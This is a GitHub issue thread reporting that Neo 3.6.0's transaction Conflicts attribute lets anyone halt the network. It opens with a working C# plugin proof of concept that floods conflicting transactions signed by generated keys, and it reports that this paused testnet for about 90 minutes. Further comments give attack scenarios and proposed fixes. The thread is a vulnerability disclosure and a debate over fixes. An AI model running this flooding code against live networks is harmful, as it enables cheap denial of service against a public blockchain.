neo: conflict attribute stops the network

I think there may be some issues in transaction conflict checking introduced by neo 3.6.0.

anyone can make use of that and stop the entire network with little cost.

PoC:

  1. write a neo plugin like below and install it
  2. start neo-cli and type x, <enter>

(replace 4d369a56b3f9f949106f602429a83bfba5ecea4540febef0a893803c6c55d4bc to your secret key if you want)

(replace 1_675_0800 to the correct network fee if necessary)

(replace UInt256.Zero to any tx hash if you want)

using Akka.Actor;
using Neo.IO;
using Neo.Network.P2P.Payloads;
using System;
using System.Linq;
using Neo.ConsoleService;
using Neo.Wallets;
using Neo.SmartContract;
using Neo.VM;
using Neo.SmartContract.Native;
using System.Threading.Tasks;

namespace Neo.Plugins
{
    public class Conflict : Plugin
    {
        private KeyPair KP = new KeyPair("4d369a56b3f9f949106f602429a83bfba5ecea4540febef0a893803c6c55d4bc".HexToBytes());
        private NeoSystem NS;
        protected override void OnSystemLoaded(NeoSystem system) => NS = system;
        [ConsoleCommand("x")]
        async private void X()
        {
            Transaction tx = new Transaction
            {
                Version = 0,
                Nonce = 0,
                SystemFee = 0,
                NetworkFee = 1_675_0800,
                ValidUntilBlock = NativeContract.Ledger.CurrentIndex(NS.StoreView) + 1024,
                Script = new byte[] { ((byte)Neo.VM.OpCode.RET) },
                Attributes = new TransactionAttribute[] { new Conflicts { Hash = UInt256.Zero } },
            };

            await Task.Run(() =>
            {
                for (byte i = 0; i < 255; i++)
                    for (byte j = 0; j < 255; j++)
                        for (byte k = 0; k < 255; k++)
                            for (byte l = 0; l < 255; l++)
                            {
                                KeyPair[] kps = new KeyPair[] { KP }.Concat(Enumerable.Range(0, 14).Select(v => new byte[] { 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, i, j, k, l, (byte)v, 0, 0, 0, 0, 0, 0, 37 }).Select(v => new KeyPair(v))).ToArray();
                                tx.Signers = kps.Select(v => new Signer { Account = Contract.CreateSignatureContract(v.PublicKey).ScriptHash, Scopes = WitnessScope.None }).ToArray();
                                tx.Witnesses = kps.Select(v => new Witness { InvocationScript = new byte[] { ((byte)OpCode.PUSHDATA1), 64 }.Concat(tx.Sign(v, NS.Settings.Network)).ToArray(), VerificationScript = Contract.CreateSignatureContract(v.PublicKey).Script }).ToArray();
                                NS.LocalNode.Tell(new Network.P2P.LocalNode.SendDirectly { Inventory = tx });
                                Console.WriteLine($"TX SEND: {i}:{j}:{k}:{l}");
                            }
            });
        }
    }
}

About this issue

  • Original URL
  • State: closed
  • Created 7 months ago
  • Reactions: 2
  • Comments: 78 (59 by maintainers)

Commits related to this issue

Most upvoted comments

  • i believe public discussion is always the best unless it causes irredeemable damage in production.
  • I believe testnets do not provide any security and availability guarantees and they are the place for experiments and tests of applications and infrastructures.

I’m absolutely welcome to any alternative suggestions that solve the problem.

Feels like a Neo equivalent ERC-4337 solves this and a number of other issues we have, like https://github.com/neo-project/neo/issues/2577. It’s what I was getting at in this comment.

The way I see it currently, this issue, NotaryService + https://github.com/neo-project/neo/issues/2907#issuecomment-1725151539 isn’t really far off ERC-4337 conceptually. Also makes it entirely opt-in for a consensus node to participate in any of it, which seems ideal considering the changes are affecting liveness.

There’s no problem getting consensus nodes to have an equivalent view of transactions/bundles when the bundlers are being incentivized to provide them.

@vang1ong7ang This is not the most responsible way to communicate these kind of issues.

@EdgeDLT, thank you for your question on the topic.

Conflicting tx from different signers is not permitted

Some malicious conflicting transaction may have signers that do not intersect with base transaction’s signers, and to properly validate these cases we need to store signers of the conflicting transaction in the native Ledger.

but that fact doesn’t prevent the mempool from being overloaded with them

The mempool economy for conflicting transactions follows the same rules as for simple transactions. Of course, it has some caveats that prevents malicious scenarios, e.g. to replace a batch of conflicting transactions by some other transaction, its fee must be greater than the sum of transactions from batch (see the https://github.com/neo-project/neo/pull/2818/commits/6c9b0f577edc93684ff34c8af8e2ec2fa83fc65d). So basically, if you’re able to pay - then OK, send as many transactions as your balance allows. We also have implemented Conflicts fee functionality in #2913.

@vang1ong7ang, your test scenario from https://github.com/neo-project/neo/issues/2907#issuecomment-1722596148 is relevant for #2908, that’s true, thank you for the submitting. So we introduce another scheme that is able to prevent this kind of attack, see the #2913, please.

should it be network fee or system fee?

It’s a pure part of a network fee, let the system fee pay for the transaction’s script execution.

@vncoelho, I get your point and concerns, but we are craving for a solution for on-chain multi-signature transactions forming. We have the notary subsystem that is scrupulously designed and tested on NeoFS sidechain for more than a year and it works. So I really beleave that bugs like the current one are good and allow to build the solution that really works. It’s nothing critical happened here, I sure that we’ll fix this and move further. And it’s also really good that developers are trying to test this new feature. It may seem to be a bit complicated from the first glance, but it’s possible to understand this and we have really good proposals and documentation on each part of the Notary subsystem.

@dusmart, thank you also for getting into this topic, it’s really important to properly design and test this fix.

So everyone who is interested, we invite you to review the #2913 - the implementation of https://github.com/neo-project/neo/issues/2907#issuecomment-1722506014 that is aimed to fix this issue.

@AnnaShaleva indeed.

I will add an attack scenario below that should be noted:

by introducing MaxAllowedConflictingSigners:

2023-09-20 00:00:00 ADAM SEND TX { HASH = 0x1234 SINGEDBY = ADAM }
2023-09-20 00:00:01 ADAM SEND TX { HASH = 0x5678 SINGEDBY = ADAM CONFLICT = 0x1234 }
2023-09-20 00:00:02 TX { HASH = 0x5678 SINGEDBY = ADAM CONFLICT = 0x1234 } COMMITTED
2023-09-20 00:00:02 TX { HASH = 0x1234 SINGEDBY = ADAM } DROPPED
2023-09-20 00:00:03 ATTACKER SEND TX { HASH = 0x0001 SINGEDBY = ANON_0001 CONFLICT = 0x1234 }
2023-09-20 00:00:03 ATTACKER SEND TX { HASH = 0x0002 SINGEDBY = ANON_0002 CONFLICT = 0x1234 }
2023-09-20 00:00:03 ATTACKER SEND TX { HASH = 0x0003 SINGEDBY = ANON_0003 CONFLICT = 0x1234 }
... ...
// until MaxAllowedConflictingSigners is triggered

2023-09-20 00:00:16 ATTACKER SEND TX { HASH = 0x1234 SINGEDBY = ADAM }
2023-09-20 00:00:17 TX { HASH = 0x1234 SINGEDBY = ADAM } COMMITTED // REPLAYED

I am 100% aligned with @vang1ong7ang . Furthermore, I have a strong respect for him and all his work on Neo Ecosystem. He has been responsible for the report of some critical issues, all done with 100% of responsibility.

Thus, the focus here is to solve the issue. The first problem here was the hurry to merge the PR, and , as I said, I was still with a reject on it, @shargon . Now, it is time to fix it or revert.

This is not the most responsible way to communicate these kind of issues.

tell me the suggestions unless those suggestions brings additional works or troubles to us

Those words really hurts. There is always better ways to submit a report. Likely, there is always better ways to do a hard-fork.

Developers don’t like to add the hard-fork logics such as adding conflict attribute because of over burden and want to keep the code concise. Security researchers also don’t like to build a full-function private net (with an explorer and to prove to all that the net is similar to testnet/mainnet) out of the same reason. When it comes to a really serious bug, he had indeed taken care of the overall situation.

NEO developers believe that no one will hack the mainnet using those hard-forks and the upgrade can be done easily with a re-sync. Security researchers also don’t think others will replay this POC on testnet without earning any profit.

DISCLAIMER: Do not use any of the material presented here to cause harm. I will find out where you live, I will surprise you in your sleep and I will tickle you so hard that you will promise to behave until the end of your days. from Tanya

Conflicting hashes are a part of the TransactionState structure: https://github.com/neo-project/neo/blob/520795601cdc3bec0ad1391082db3d4d5d417ccc/src/Neo/SmartContract/Native/LedgerContract.cs#L50-L57

TransactionState is being serialized as a proper native Ledger storage item so technically it may be some size limitation exceeded:

https://github.com/neo-project/neo/blob/520795601cdc3bec0ad1391082db3d4d5d417ccc/src/Neo/SmartContract/Native/TransactionState.cs#L83

I’m not sure but I feel, some StackItem limitation is trigged here.

So that may be true.

My bet is on the stored signers list (and btw, the behavior depends on machine), VM is not really involved here for anything.

And that may be true as far, because it requires intensive storage access.

But the list can grow and just needs a limit.

This would help, it would be a nice solution, just limit the possible number of conflicting hashes in the TransactionState structure and reject the new mempooled conflicting transactions (if any).

what do you think about only write the sender, not all of the signers?

@shargon, it adds some unnecessary overhead to Conflicts attribute users. Because if the conflict is considered to be valid only in case if its sender matches the base transaction’s sender, then users of Conflicts attribute will have to develop and manage extra workarounds, e.g. how @vang1ong7ang mentioned, they have to introduce some intermediate proxy contract to properly handle those situations where “the sender condition” can’t be kept. It’s possible to add this restriction, but I’m not in favor of this solution, because it will make the users’ services more complicated. And now when we changed the storage scheme and added the price restriction, I don’t think we need to afraid of the DB explosion or the node performance degradation anymore.

different use cases and different problems now

Respectfully disagree, though I’m biased. These are all the same problems, fundamental pain points with Neo that inhibit user and developer adoption. Who are we building for?

IMHO, Neo core has the issues of laser focus and bad prioritization. We solve the predominant issue of the moment, in isolation from the other issues, then move on to the next one. Throw in a hard fork or resync here and there, job done. There is no grand direction, so major pain points go unsolved for years, and the things we do solve often cause more pain later down the road. You have more examples than I do, I’m positive.

If we have an opportunity to solve many pain points on Neo in one go, it should merit serious consideration. Don’t hand wave it and laser focus on “the solution to Conflict handling”. It’s laser focus that got us into this mess. We can’t see the forest for the trees.

Transaction conflicts is a sort of okay example of a pain point Neo has, which makes a solution that addresses it relevant. And frankly, this particular pain point is incredibly niche compared to some of the others I’ve mentioned above. Again, who are we building for? How many of Neo’s future users are going to use the Conflict attribute? A tiny fraction? How many would benefit from gas-free transfers, keyless accounts, social recovery? The millions we hope to onboard?

Neo provides close to infinite abilities at L1 accounts thanks to verification scripts

It’s exactly as you said. Neo doesn’t have that problem. We have verification scripts. We can just provide an interop for abstracted accounts, like https://github.com/neo-project/neo/issues/2866. It is a fantastic opportunity to enhance Neo’s user and developer experience in a fundamental way. ERC-4337 is honestly quite bad, and it’s because it’s not part of the protocol. They have to deploy a contract for custom verification logic. Acquiring an “account abstracted” user = contract deployment fee.

It’s the same quandary @melanke and myself are in right now. We have a custodial production application that must go non-custodial. Our only options are “cripple the user experience and onboarding power”, or “pay 10 GAS to acquire every new user and still cripple the user experience.” Only Neo core can change that.

Looks like we’re talking different use cases and different problems now.

@vncoelho @AnnaShaleva @EdgeDLT @dusmart

just like what @vncoelho commented:

This should be a layer 2 or a native smart contract.

I’m wondering why don’t we solve this conflict transaction problem at the application layer.

by introducing a public shared contract (a common contract or a native contract) with a Nonce method like:

static void Nonce(Uint160 account, BigInteger nonce) {
    Runtime.CheckWitness(account);
    var val = storage.Get(account);
    ExecutionEngine.Assert(nonce == val);
    storage.Put(account, nonce + 1);
}

then it is able to impl the conflict transaction by prefix the original script with NonceContract.Nonce(nonce);

note that the nonce behaves differently with ethereum account nonce because it is running in the application layer without modifying the fundamental mechanism and only successful transactions update the nonce

and although conflicted transactions are also packed into the block, those transactions fail at the beginning, which means, no side effects. AND, even users pay both the successful and failed transactions, the total fee can be less than #2913

It’s designed to not allow what you’re talking about.

I see. I read “essentially by using different accounts to send the same conflict attribute, the blockchain will stop.” from @vang1ong7ang, which is what raised the question in my mind. I will familiarize myself with the current implementation before leaving any further comments. Or perhaps I should just leave it to the experts anyway 🙂

Maybe you should read the comments thoroughly

I see you edited this part out, which I am grateful for, but I want to address it all the same. Tensions are clearly a little high on this issue, but this is the sort of thing that can generate a culture problem, and that will kill the social layer of this platform dead. Forget the code if we allow that to happen.

Let me be clear. I may not understand, but I am here because I want to understand. My hope is that this is encouraged, not discouraged, as it has been in the past. In this very thread you complain of hurtful words, and request patience for researchers from outside the core. I hope in future you can put into practice the same extension of basic respect to others that you are requesting for yourself.

I won’t pollute the issue any further, and again, my apologies for the derailment.

Apologies if I may not have read all comments thoroughly enough or misunderstood something, but why allow conflicting tx from different signers at all?

It’s designed (based on current implementation) to not allow the scenes you’re talking about. Technically, blockchain can not know a tx’s signer based on only its hash, that’s why we can’t prevent a tx declare a Conflict to other signers’ tx. But your question gives us a new idea. We can force the tx declare a Conflict with not only the hash but also a signer it using. And that would be a choice.

And maybe there should comes a detailed explanation on that new feature. I didn’t know the design details like you before. Comments are too much to read. If this feature comes with the NEP-xxx at first https://github.com/neo-project/proposals, it would be much better for us to understand.

BTW For a tx that has already been on chain, if another tx want to conflict previous one, it will be rejected whether or not they contains a same singer.

And to be honest, my opinion on this feature is that I won’t need this feature. It introduced too many changes to the blockchain and may introduce risks such as this issue. If we want to fix this issue it introduced, Anna indeed did a good job compared to the previous #2908.

it’s related to #2841 and #2900 instead of this issue.

To be honest, I also deem this issue as a hard fork. It’s better to activate the new logic after the new hardfork-tag instead of activating it immediately after consensus’s upgrade. Two explorers of NEO has been stopped by this upgrade while there are only three. That’s probably because OneGate and Dora has not upgraded to 3.6.0. If it’s written in standard way, and good communications have been made to all explorers, I don’t think this would happen.

We all want to keep things concise. Blaming is easy. While if someone can provide a good solution such as building a really easy-to-use project with a explorer and some other features based on Axlabs’s job, I don’t think Vang like this drama. Such dramas didn’t even bring any replay on testnet while it indeed prevent a lot of issues on mainnet.

By the way, I’m not asking any developer to follow the strict hard-fork ways. I just want to show there is always better ways and that I understand the ways developers followed based on the NEO’s current situation. Let’s also understand Vang’s assessment to this vulnerability’s damage.

If we lose his careful analysis just because 4 txs on testnet from 2 senders has been pended, I will feel regret.

hard for us to prepare a testnet / mainnet like private network for neo.

We quite often do things with various types of nodes, both C# and Go. When we need some private network to experiment we usually take neo-bench and it creates one. It’s built for completely different purpose originally (performance testing), but it just happens so that it has to create some proper running networks in the process. And it can do that for a single CN, four CNs, seven CNs, and even has scripts to create mixed setups (like 2 Go + 2 C# nodes).

It’s not yet updated to 3.6, but it’s not hard to do. And it can also build a C# node from the source code in the process (including any development branches if you like).

pining a conflict state into a transaction

It’s not possible with 3.5.0.

push to stop the upgrading

No doubt, mainnet is not ready for 3.6. No doubt, the issue is serious. But I agree with @shargon that this public drama wasn’t really required. It likely has affected ongoing hackathon for example, because people there are using testnet to try their projects. We had reported a number of various problems previously (I’m avoiding links this time, but there were some highly critical ones) without damaging any of the public networks. And obviously @shargon did the same multiple times. My expectation is that any white-hat hacker would do the same.

@shargon okay thanks for the kindly reminder.

I prefer public discussion if possible and unfortunately you should understand sometimes attack experiments have to appear on mainnet or testnet, although they are the last choice, especially because there is nothing like mainnet fork toolkit on neo. But we are not willing to cause any damage on purpose and trying to avoid any kind of damage.

Private networks often do not provide good experimental conditions. and, to be honest, we have weak computer skills and it’s really hard for us to prepare a testnet / mainnet like private network for neo.

the running version is 3.5.0 not the discussed 3.6.0, so it’s harmless to discuss publicly.

It’s not good to ask too much to a vulnerability reporter, otherwise, if reporters give up, if the bug could lead to a fork or worse still, that a third party abuses said attack and neo, you and other related devs are directly or indirectly responsible for its exploitation.

We do report bug in private channel, but only critical ones. (actually you don’t know what has happend in the private channel since it’s private)


actually there is weak security responding mechanism on neo. even private channel talks will result in public pull requests. black hackers should watch PRs, issues in the organization and millions of dollars are hiding inside them

BTW if some bad guys are observing the discussion on github NOW, he should make use of the hardfork of 3.5.0 and 3.6.0 NOW by pining a conflict state into a transaction and deposit his funds into binance in the same transaction and wait for the return back of his money when the upgrade comes

to take the responsibility, you should push to stop the upgrading before the fork is fixed.

But maybe there is a fix. My worries were more related to transactions being sent and then replaced. Thus, a lot of burden would be caused on the mempool.

But the way you explored looks like a crash. I can just check this further on next Monday.

I believe there will be better solutions on transaction replacement, even with little modification.

as you said, the current transaction replacement mechanism may even result in completely different memory pools for each (consensus) node, and it’s even possible to stop the consensus. we haven’t do the PoC yet, but in our mind, it’s a possible attack.

But maybe there is a fix. My worries were more related to transactions being sent and then replaced. Thus, a lot of burden would be caused on the mempool.

But the way you explored looks like a crash. I can just check this further on next Monday.

That is it,my friend. Good find from you and your team as always.

I tried to warn before that this was a dangerous feature for mempool. This feature, in my opinion, should be something for a native smart contracts.

If so, lets revert the PR for now and update nodes 3.6.0 with a patch.

It’d be nice to not break the testnet again though.

My friend @vang1ong7ang , it is good to have you here exploring this.

In fact, this PR was merged but I was still blocking it because I was worried about stopping the network with low costs attacks due to txs replacement on the memory pool.

I see that you used a similar strategy.

@AnnaShaleva

I’m not going to consist on my proposal because everyone has its own subjective preference.

I think #2913 does solve the original performance problem and it works.

let bosses make the decision and move on

Who is to pay for this filtering and in what manner? Otherwise it’ll be abused.

The user pays. The bundler won’t include an operation which doesn’t pay their fee, and that fee could be paid in any token they choose to accept. The operation includes a nonce, so the user can re-submit it any number of times and simply increase the bounty to pay for the effort.

This mechanism also solves the problem of new Neo users being unable to transfer assets because they don’t have enough GAS when sponsorship isn’t available.

it’s easy to expand the contract to support multi-signers.

Not so much. Consider #1573, this would limit the service to just one request at a time (because the notary contract is a signer for every request) rendering it useless.

do not confuse multi-signer transactions with multi-signer conflicts. I think these two problems can be solved independently.

I wouldn’t care about the dust.

We care about it a lot. One of the features of #1573 is that it’s much cheaper than any of the alternatives. This directly affects NeoFS withdrawals for example, either they cost some sane amount of GAS or not (currently the value is not-so-sane). And it works this way exactly because it doesn’t leave any dust. The other problem we care about a lot is NeoFS sidechain load, we don’t want 7 or 8 transactions to do something there, we want to have 1 that does whatever needs to be done.

by introducing proposer-builder separation or MEV bot mentioned by @EdgeDLT , the negotiation between the proposer and tx sender can be off-chain and the failed transaction can be filtered by the proposer.

consider another case:

ALICE IS TRYING TO PLAY SOME GAME ON CHAIN

SHE SEND THE TX { HASH = 0x0001 FEE = 1 }

SUDDENLY SHE REGRETED AND SEND TX { HASH = 0x0002 CONFLICT = 0x0001 FEE = 2 }

SHE REGRETED AGAIN AND SEND TX { HASH = 0x0003 CONFLICT = 0x0001+0x0002 FEE = 3 } // SHE HAS TO PUT BOTH 0x0001 and 0x0002 INTO THE CONFLICT ATTR OTHERWISE SHE WILL EXPERIENCE THE CASE DESCRIBED IN THE COMMENT ABOVE

THEN AGAIN TX { HASH = 0x0004 CONFLICT = 0x0001+0x0002+0x0003 FEE = 3 }

...

UNTIL SHE FINDS: AT MOST THERE CAN BE 15 CONFLICT ATTRIBUTES. SHE CAN'T DO ANYTHING EXCEPT WATCHING THE TX { HASH = 0x0010 CONFLICT = 0x0001..0x000f FEE = 16 }

OH MAN. would be guilty.

I also feel a sense of responsibility for not paying as much attention to the discussions earlier. I genuinely don’t want to offend anyone.

Blockchains indeed require upgrades to provide enhanced capabilities. I want to clarify that I’m not opposed to changes in the blockchain itself. Take ZKP as an example; it’s a valuable feature. However, in certain cases, such features may not be as appealing, especially when application-level solutions can fulfill most functions.

Reliable interfaces and behaviors are also crucial for blockchains. Personally, I have reservations about changes like #2818 that introduce significant alterations to the core implementation. When weighing their benefits against potential risks, I tend to be more cautious.

I’m not suggesting the deletion of this feature solely because of this particular issue. My intention is to emphasize that future changes, such as #2818, should undergo stricter evaluation and scrutiny. I also believe that an issue or PR might not receive extensive evaluation, which is why we should leverage the NEP more effectively.

Deleting it may introduce another hard fork, too.

OH MAN. would be guilty.

just consider the suggestion and i’m fine with any possible solutions

@AnnaShaleva @roman-khimov I understand and support your efforts. But we are, again, discussing similar strategies that made me reject the PR before due to possible attack vectors like this. Do you remember our discussions, @AnnaShaleva?

I am not in favor of all these complex logics on mempool right now. This should be a layer 2 or a native smart contract.

I think the feature is good, but right now it should not be on the p2p layer. Maybe in a near future when we address other improvements that this layer needs.

And maybe there should comes a detailed explanation on that new feature.

Like #1991?

In this very thread you complain of hurtful words, and request patience for researchers from outside the core. I hope in future you can put into practice the same extension of basic respect to others that you are requesting for yourself.

Sorry the words hurt you. I didn’t mean to hurt you. Apologize for that. Great to have you here. I’m also out of the core.

Or perhaps I should just leave it to the experts anyway 🙂

Nope. You’re always welcome here. I think everyone’s opinion could affect their decision. And your concerns are what that new PR could bring if I can find some attack vectors. trying to find new ideas …

Tensions are a clearly a little high on this issue

Well. You’re right about that. I indeed feel unfair that a researcher didn’t get good feedback based on his work that could prevent mainnet’s loss. On the contrary, @shargon criticized him for paused the network first. That’s why my words are inappropriate in this thread. Sorry again. Trying my best to forget these tiny details and come back to focusing on the issue itself

I see you edited this part out

Yes. I also feel inappropriate after I clicked the PR’s thread. Too many to read

Alternative to Ledger’s conflicting signers/transactions restriction

Problem

We have discussed with Roman and found several disadvantages of the scheme proposed in #2908 and in #2911. Just to remind, these two PRs assume the restriction of the number of conflicting signers/transactions per Ledger’s conflict record and technically, they will solve the problem described in #2907. However, here is the case where this restriction scheme won’t work properly:

Consider good and valid transaction A. Good and valid transaction B conflicts with A and has the corresponding attribute and valid signer (the same as A has). After that, consider a large set of malicious conflicting transactions with different malicious signers that also conflict with A. Consider that these malisious conflicts reach the consensus node before transaction B and the block with a large set of malicious conflicts is accepted. In normal case (without restrictions), this situation won’t prevent transaction B from entering the pool. But in case of this new approach with MaxAllowedConflictingSigners/MaxAllowedConflictingTransactions restrictions, the on-chained malicious conflicts will prevent transaction B from entering the pool (because there’s no more free space in the conflict record list that corresponds to A’s hash). We consider it to be a quite bad vector for an attack.

Suggestions

So increasing the MaxAllowedConflictingSigners/MaxAllowedConflictingTransactions limits won’t help in this attack. What we can do instead is to change the storage scheme of conflict records that are stored in the native Ledger contract. We suggest for each conflict record to have a key-value pair where the key is concatenated from {Prefix_Transaction (1 byte), conflictingTxHash (32 byte), signer (20 byte)} and the value is the block height of the transaction with the corresponding Conflicts attribute and signer. Then with this scheme we can safely get rid of public UInt160[] ConflictingSigners; and public uint ConflictingTransactionsCount; fields of the TransactionState class. As an optimisation, we suggest for each conflict record described above to store additional “dummy” record with key {Prefix_Transaction (1 byte), conflicitngTxHash (32 byte)} and empty value. Then, the newly-pooled transaction verification check will take:

  • in the best case (when there’s no on-chained conflicts for this transaction): only 1 DB read request;
  • in the worst case (when there’s at least one on-chained conflict for this transaction): exactly the number of signers + 1 DB read requests, i.e. 17 in the worst case when incoming transaction has all 16 signers set.

It’s clear that this scheme takes additional storage space and adds some processing costs for those transactions that have conflicts. Thus, we also suggest to establish price for Conflicts attributes (it was initially suggested in https://github.com/neo-project/neo/issues/1991). That should be a significant value that is defined by the Committee and stored in the native Policy contract. So that malicious user has to pay for each Conflicts attribute and, even with that, he won’t be able to significantly slow down the nodes or prevent consensus nodes from blocks accepting (remember, only 17 read request per transaction in the worst case of transaction with 16 signers). At the same time, for practical Conflicts attribute usage this price will be acceptable.

Prices

What Roman suggests on the Conflicts attribute price topic is: it costs 0.0057 GAS to store 33+20+4 bytes in the storage of some contract on Mainnet. Considering that the Conflicts attribute price should at least be competitive with the contract storage price, it is suggested for Conflicts attributes to be more expensive than the contract storage, thus, 0.02 GAS is suggested as a price for a single Conflicts attribute per transaction signer. E.g. transaction that has two Сonflicts attributes and three signers has to pay 0.02x2x3=0.12 GAS additionally to its basic network fee.

Conclusion

Such scheme doesn’t involve any conflicting signers/transactions count constraint and doesn’t make possible the attack described above. The scheme implementation won’t take much effort, because it’s very simple (in fact, it’s similar to the way how blocked accounts are stored in the native Policy contract).

@vang1ong7ang, @shargon, @dusmart, @Liaojinghui, @vncoelho, @superboyiii and everyone who is interested in this topic, we suggest to consider this scheme, try to think about other possible vectors of attack and implement this scheme instead of #2908 and #2911.

Additional information

This scheme is completely free from the problem described in https://github.com/neo-project/neo/issues/2907#issuecomment-1721257254, because the value of the conflict record storage item contains either the block index or an empty byte array at all.

No no, its ok i did the same with https://github.com/neo-project/neo/issues/2950. But someone had to say it. Also the button is right there when you click new issue. But i didn’t see it either.

Plus i dont control this repo or org

Sorry, I’m always forgetting C# node serializes many things a bit differently (via proper stack/stack items).

There is indeed some inconsistency between C# (Fault) and golang (Halt).

curl 'http://seed1t5.neo.org:20332/' \
  -H 'content-type: application/json' \
  --data-raw '{"jsonrpc": "2.0","id": 1,"method": "invokescript","params": ["DCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHAHwwOZ2V0VHJhbnNhY3Rpb24MFL7yBDFANip3wVCZx+ZMEvcAtmXaQWJ9W1I="]}'
curl 'https://rpc.t5.n3.nspcc.ru:20331/' \ 
  -H 'content-type: application/json' \
  --data-raw '{"jsonrpc": "2.0","id": 1,"method": "invokescript","params": ["DCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHAHwwOZ2V0VHJhbnNhY3Rpb24MFL7yBDFANip3wVCZx+ZMEvcAtmXaQWJ9W1I="]}'

I’m not sure but I feel, some StackItem limitation is trigged here.

Sorry, I’m always forgetting C# node serializes many things a bit differently (via proper stack/stack items). This can be an issue. Likely Go nodes don’t fail that quickly (at least until the list becomes insanely big).

it’s even possible to stop the consensus

Nope. CNs can and often do have different mempools, it’s completely OK. They will get missing transactions and conflicting mempooled transactions do not prevent that, only the proposed (PrepareRequest) list should be consistent. IIRC this was even discussed in #2818.

It’d be nice to not break the testnet again though.

Lol, we tried. By the way, single committee devnet could not be stopped by this method. thanks for https://github.com/AxLabs/neo3-privatenet-docker.

Maybe because of autoheal functions

My bet is on the stored signers list (and btw, the behavior depends on machine), VM is not really involved here for anything. But the list can grow and just needs a limit.

Mempool is also safe wrt this, btw.

It’d be nice to not break the testnet again though.

Lol, we tried. By the way, single committee devnet could not be stopped by this method. thanks for https://github.com/AxLabs/neo3-privatenet-docker.

Do you have a fix in mind?

@vncoelho I don’t have a fix yet but I support your point. the current tx replacement mechanism is risky.

we haven’t fully determined what causes this. but I’m sure it’s related to conflict attribute.

essentially by using different accounts to send the same conflict attribute, the blockchain will stop.

the testnet n3t5 has already been paused for 90 mins because of those transactions at block https://testnet.neotube.io/block/2690040